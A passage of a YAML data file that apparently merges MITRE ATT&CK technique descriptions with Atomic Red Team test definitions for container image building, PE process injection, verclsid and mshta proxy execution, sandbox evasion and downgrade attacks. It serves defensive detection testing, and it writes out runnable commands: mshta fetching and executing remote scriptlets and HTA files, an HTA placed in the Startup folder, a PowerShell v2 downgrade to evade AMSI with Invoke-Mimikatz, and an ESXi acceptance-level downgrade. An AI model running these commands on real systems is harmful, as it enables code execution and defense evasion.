        url: https://attack.mitre.org/techniques/T1612
        external_id: T1612
      - source_name: Aqua Build Images on Hosts
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
      - source_name: Docker Build Image
        description: Docker. ( null). Docker Engine API v1.41 Reference - Build an
          Image. Retrieved March 30, 2021.
        url: https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild
      - source_name: Aqua Security Cloud Native Threat Report June 2021
        description: Team Nautilus. (2021, June). Attacks in the Wild on the Container
          Supply Chain and Infrastructure. Retrieved August 26, 2021.
        url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1612
    atomic_tests:
    - name: Build Image On Host
      auto_generated_guid: 2db30061-589d-409b-b125-7b473944f9b3
      description: Adversaries may build a container image directly on a host to bypass
        defenses that monitor for the retrieval of malicious images from a public
        registry. An adversary may take advantage of that build API to build a custom
        image on the host that includes malware downloaded from their C2 server, and
        then they then may utilize Deploy Container using that custom image.
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker  --no-pager

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      executor:
        command: |-
          docker build -t t1612  $PathtoAtomicsFolder/T1612/src/
          docker run --name t1612_container  -d -t t1612
          docker exec t1612_container ./test.sh
        cleanup_command: |-
          docker stop t1612_container
          docker rmi -f t1612
        name: sh
  T1055.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662
      type: attack-pattern
      created: '2020-01-14T01:27:31.344Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.002
        url: https://attack.mitre.org/techniques/T1055/002
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Portable Executable Injection'
      description: "Adversaries may inject portable executables (PE) into processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        PE injection is a method of executing arbitrary code in the address space
        of a separate live process. \n\nPE injection is commonly performed by copying
        code (perhaps without a file on disk) into the virtual address space of the
        target process before invoking it via a new thread. The write can be performed
        with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,
        then invoked with <code>CreateRemoteThread</code> or additional code (ex:
        shellcode). The displacement of the injected code does introduce the additional
        requirement for functionality to remap memory references. (Citation: Elastic
        Process Injection July 2017) \n\nRunning code in the context of another process
        may allow access to the process's memory, system/network resources, and possibly
        elevated privileges. Execution via PE injection may also evade detection from
        security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code> and those that can be used to modify
        memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Process: OS API Execution'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.002
    atomic_tests:
    - name: Portable Executable Injection
      auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d503e1
      description: This test injects a portable executable into a remote Notepad process
        memory using Portable Executable Injection and base-address relocation techniques.
        When successful, a message box will appear with the title "Warning" and the
        content "Atomic Red Team" after a few seconds.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055.002\bin\RedInjection.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Portable Executable to inject must exist at specified location
          (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1218.012:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Rodrigo Garcia, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327
      created: '2020-08-10T13:59:38.443Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1218.012
        url: https://attack.mitre.org/techniques/T1218/012
      - source_name: BOHOPS Abusing the COM Registry
        url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
        description: 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure
          (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.'
      - source_name: Red Canary Verclsid.exe
        url: https://redcanary.com/blog/verclsid-exe-threat-detection/
        description: 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy
          a New Methodology: Verclsid.exe. Retrieved August 10, 2020.'
      - source_name: LOLBAS Verclsid
        url: https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
        description: LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.
      - source_name: Nick Tyrer GitHub
        url: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
        description: Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.
      - source_name: WinOSBite verclsid.exe
        url: https://www.winosbite.com/verclsid-exe/
        description: verclsid-exe. (2019, December 17). verclsid.exe File Information
          - What is it & How to Block . Retrieved August 10, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may abuse verclsid.exe to proxy execution of malicious
        code. Verclsid.exe is known as the Extension CLSID Verification Host and is
        responsible for verifying each shell extension before they are used by Windows
        Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries
        may abuse verclsid.exe to execute malicious payloads. This may be achieved
        by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced
        by a Class ID (CLSID), a unique identification number used to identify COM
        objects. COM payloads executed by verclsid.exe may be able to perform various
        malicious actions, such as loading and executing COM scriptlets (SCT) from
        remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).
        Since the binary may be signed and/or native on Windows systems, proxying
        execution via verclsid.exe may bypass application control solutions that do
        not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation:
        Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation:
        Nick Tyrer GitHub) "
      modified: '2022-10-25T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Verclsid
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of verclsid.exe. Compare recent invocations of verclsid.exe with prior history
        of known good arguments and loaded files to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the invocation
        of verclsid.exe may also be useful in determining the origin and purpose of
        the payload being executed. Depending on the environment, it may be unusual
        for verclsid.exe to have a parent process of a Microsoft Office product. It
        may also be unusual for verclsid.exe to have any child processes or to make
        network connections or file modifications.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1562.010:
    technique:
      modified: '2023-10-03T16:40:15.445Z'
      name: 'Impair Defenses: Downgrade Attack'
      description: "Adversaries may downgrade or use a version of system features
        that may be outdated, vulnerable, and/or does not support updated security
        controls. Downgrade attacks typically take advantage of a system’s backward
        compatibility to force it into less secure modes of operation. \n\nAdversaries
        may downgrade and use various less-secure versions of features of a system,
        such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s
        or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
        or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation:
        Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        versions 5+ includes Script Block Logging (SBL) which can record executed
        script content. However, adversaries may attempt to execute a previous version
        of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562)
        while running malicious scripts that may have otherwise been detected.(Citation:
        CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries
        may similarly target network traffic to downgrade from an encrypted HTTPS
        connection to an unsecured HTTP connection that exposes network data in clear
        text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike
        Downgrade)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Mayuresh Dani, Qualys
      - Daniel Feichter, @VirtualAllocEx, Infosec Tirol
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell –v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.

        Monitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)

        Monitor network data to detect cases where HTTP is used instead of HTTPS.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      type: attack-pattern
      id: attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497
      created: '2021-10-08T14:06:28.212Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/010
        external_id: T1562.010
      - source_name: Crowdstrike Downgrade
        description: Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?.
          Retrieved May 24, 2023.
        url: https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/
      - source_name: Targeted SSL Stripping Attacks Are Real
        description: Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real.
          Retrieved May 24, 2023.
        url: https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/
      - source_name: CrowdStrike BGH Ransomware 2021
        description: 'Falcon Complete Team. (2021, May 11). Response When Minutes
          Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.'
        url: https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
      - source_name: att_def_ps_logging
        description: Hao, M. (2019, February 27). Attack and Defense Around PowerShell
          Event Logging. Retrieved November 24, 2021.
        url: https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/
      - source_name: inv_ps_attacks
        description: Hastings, M. (2014, July 16). Investigating PowerShell Attacks.
          Retrieved December 1, 2021.
        url: https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
      - source_name: Mandiant BYOL 2018
        description: Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel
          Red Teaming Technique. Retrieved October 8, 2021.
        url: https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique
      - source_name: Praetorian TLS Downgrade Attack 2014
        description: Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol
          Downgrade Attack. Retrieved October 8, 2021.
        url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.010
    atomic_tests:
    - name: ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI
      auto_generated_guid: 062f92c9-28b1-4391-a5f8-9d8ca6852091
      description: |
        An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
        [Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
      supported_platforms:
      - linux
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if VMWARE PowerCLI PowerShell Module is installed.

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
          if (-not $RequiredModule) {exit 1}
        get_prereq_command: 'Install-Module -Name VMware.PowerCLI -Confirm:$false

          '
      executor:
        command: "Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false
          -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password
          #{vm_pass}\n(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level
          = \"CommunitySupported\"})\nDisconnect-VIServer -Confirm:$false\n"
        name: powershell
        elevation_required: true
    - name: ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI
      auto_generated_guid: 14d55b96-b2f5-428d-8fed-49dc4d9dd616
      description: |
        An adversary will change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria via ESXCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
        [Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to script with commands to change acceptance level
          type: path
          default: PathToAtomicsFolder\T1562.010\src\esx_community_supported.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
    - name: PowerShell Version 2 Downgrade
      auto_generated_guid: 47c96489-2f55-4774-a6df-39faff428f6f
      description: Executes outdated PowerShell Version 2 which does not support security
        features like AMSI. By default the atomic will attempt to execute the cmdlet
        Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by
        AMSI when active.
      supported_platforms:
      - windows
      dependencies:
      - description: Check if Version 2 is installed.
        prereq_command: |
          $v2_installed = PowerShell -version 2 -command '$PSVersionTable.PSVersion.Major'
          if (-not $v2_installed) {exit 1} else {exit 0}
        get_prereq_command: 'echo "Manually install PowerShell Version 2"

          '
      executor:
        command: PowerShell -version 2 -command '#{v2_command}'
        name: powershell
        elevation_required: false
      input_arguments:
        v2_command:
          description: Specify the command to execute with Version 2
          type: string
          default: Invoke-Mimikatz
  T1497:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Sunny Neo
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
      type: attack-pattern
      created: '2019-04-17T22:22:24.505Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497
        url: https://attack.mitre.org/techniques/T1497
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Unit 42 Pirpi July 2015
        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
          23, 2019.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Virtualization/Sandbox Evasion
      description: |+
        Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

        Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
        techniques will likely occur in the first steps of an operation but may also
        occur throughout as an adversary learns the environment. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as lateral movement, based on the information
        obtained. Detecting actions related to virtualization and sandbox identification
        may be difficult depending on the adversary's implementation and monitoring
        required. Monitoring for suspicious processes being spawned that gather a
        variety of system information or perform other forms of Discovery, especially
        in a short period of time, may aid in detection.
      x_mitre_version: '1.3'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1218.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - "@ionstorm"
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      - Ricardo Dias
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade
      type: attack-pattern
      created: '2020-01-23T19:32:49.557Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1218.005
        url: https://attack.mitre.org/techniques/T1218/005
      - url: https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
        description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
          December 22, 2021.
        source_name: Cylance Dust Storm
      - source_name: Red Canary HTA Abuse Part Deux
        description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
          Abuse, Part Deux. Retrieved October 27, 2017.
        url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
      - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
        description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
          (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
          Retrieved October 27, 2017.'
        source_name: FireEye Attacks Leveraging HTA
      - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
          Of Kovter Persistence. Retrieved December 5, 2017.
        source_name: Airbus Security Kovter Analysis
        url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
      - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        source_name: FireEye FIN7 April 2017
      - source_name: Wikipedia HTML Application
        description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
          27, 2017.
        url: https://en.wikipedia.org/wiki/HTML_Application
      - source_name: MSDN HTML Applications
        description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
        url: https://msdn.microsoft.com/library/ms536471.aspx
      - source_name: LOLBAS Mshta
        url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
        description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: Mshta'
      description: "Adversaries may abuse mshta.exe to proxy execution of malicious
        .hta files and Javascript or VBScript through a trusted Windows utility. There
        are several examples of different types of threats leveraging mshta.exe during
        initial compromise and for execution of code (Citation: Cylance Dust Storm)
        (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging
        HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April
        2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications
        (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications
        that execute using the same models and technologies of Internet Explorer,
        but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may
        be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey
        may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe
        can be used to bypass application control solutions that do not account for
        its potential use. Since mshta.exe executes outside of the Internet Explorer's
        security context, it also bypasses browser security settings. (Citation: LOLBAS
        Mshta)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.

        Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1218.005
    atomic_tests:
    - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
      auto_generated_guid: 1483fab9-4f52-4217-a9ce-daa9d7747cae
      description: 'Test execution of a remote script using mshta.exe. Upon execution
        calc.exe will be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        file_url:
          description: location of the payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct
      executor:
        command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();

          '
        name: command_prompt
    - name: Mshta executes VBScript to execute malicious command
      auto_generated_guid: 906865c3-e05f-4acc-85c4-fbc185455095
      description: |
        Run a local VB script to run local user enumeration powershell command.
        This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
        Upon execution, a new PowerShell windows will be opened that displays user information.
      supported_platforms:
      - windows
      executor:
        command: 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell
          -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")

          '
        name: command_prompt
    - name: Mshta Executes Remote HTML Application (HTA)
      auto_generated_guid: c4b97eeb-5249-4455-a607-59f95485cb45
      description: 'Execute an arbitrary remote HTA. Upon execution calc.exe will
        be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        temp_file:
          description: temp_file location for hta
          type: string
          default: "$env:appdata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1218.005.hta"
        hta_url:
          description: URL to HTA file for execution
          type: string
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta
      executor:
        command: |
          $var =Invoke-WebRequest "#{hta_url}"
          $var.content|out-file "#{temp_file}"
          mshta "#{temp_file}"
          start-sleep -s 15
          stop-process -name "calculator" -Force
        cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore

          '
        name: powershell
    - name: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral
        Movement
      auto_generated_guid: 007e5672-2088-4853-a562-7490ddc19447
      description: Executes an HTA Application using JScript script engine using local
        UNC path simulating lateral movement.
      supported_platforms:
      - windows
      input_arguments:
        script_engine:
          description: Script Engine to use
          type: string
          default: JScript
        hta_file_path:
          description: HTA file name and or path to be used
          type: string
          default: Test.hta
        mshta_file_path:
          description: Location of mshta.exe
          type: string
          default: "$env:windir\\system32\\mshta.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine
          #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath
          #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - Jscript Engine Simulating Double Click
      auto_generated_guid: 58a193ec-131b-404e-b1ca-b35cf0b18c33
      description: Executes an HTA Application using JScript script engine simulating
        double click.
      supported_platforms:
      - windows
      input_arguments:
        script_engine:
          description: Script Engine to use
          type: string
          default: JScript
        hta_file_path:
          description: HTA file name and or path to be used
          type: string
          default: Test.hta
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
